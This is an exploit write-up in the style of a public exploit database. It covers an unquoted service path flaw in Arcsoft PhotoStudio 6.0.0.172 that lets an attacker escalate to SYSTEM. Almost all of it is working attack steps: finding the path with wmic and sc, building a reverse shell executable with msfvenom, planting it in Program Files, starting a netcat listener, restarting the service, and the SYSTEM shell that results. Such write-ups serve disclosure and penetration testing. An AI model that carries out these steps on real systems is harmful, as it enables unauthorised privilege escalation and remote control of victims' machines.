########################################################################## # # # Exploit Title: Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path # # Date: 2023/04/22 # # Exploit Author: msd0pe # # Vendor Homepage: https://www.arcsoft.com/ # # My Github: https://github.com/msd0pe-1 # # # ########################################################################## Arcsoft PhotoStudio: Versions =< 6.0.0.172 contains an unquoted service path which allows attackers to escalate privileges to the system level. [1] Find the unquoted service path: > wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """ ArcSoft Exchange Service ADExchange C:\Program Files (x86)\Common Files\ArcSoft\esinter\Bin\eservutil.exe Auto [2] Get informations about the service: > sc qc "ADExchange" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ADExchange TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\Common Files\ArcSoft\esinter\Bin\eservutil.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ArcSoft Exchange Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem [3] Generate a reverse shell: > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o Common.exe [4] Upload the reverse shell to C:\Program Files (x86)\Common.exe > put Commom.exe > ls drw-rw-rw- 0 Sun Apr 23 04:10:25 2023 . drw-rw-rw- 0 Sun Apr 23 04:10:25 2023 .. drw-rw-rw- 0 Sun Apr 23 03:55:37 2023 ArcSoft drw-rw-rw- 0 Sun Apr 23 03:55:36 2023 Common Files -rw-rw-rw- 7168 Sun Apr 23 04:10:25 2023 Common.exe -rw-rw-rw- 174 Sun Jul 24 08:12:38 2022 desktop.ini drw-rw-rw- 0 Sun Apr 23 03:55:36 2023 InstallShield Installation Information drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Internet Explorer drw-rw-rw- 0 Sun Jul 24 07:27:06 2022 Microsoft drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Microsoft.NET drw-rw-rw- 0 Sat Apr 22 05:48:20 2023 Windows Defender drw-rw-rw- 0 Sat Apr 22 05:46:44 2023 Windows Mail drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Windows Media Player drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Multimedia Platform drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows NT drw-rw-rw- 0 Fri Oct 28 05:25:41 2022 Windows Photo Viewer drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Portable Devices drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Sidebar drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 WindowsPowerShell [5] Start listener > nc -lvp 4444 [6] Reboot the service/server > sc stop "ADExchange" > sc start "ADExchange" OR > shutdown /r [7] Enjoy ! 192.168.1.102: inverse host lookup failed: Unknown host connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309 Microsoft Windows [Version 10.0.19045.2130] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system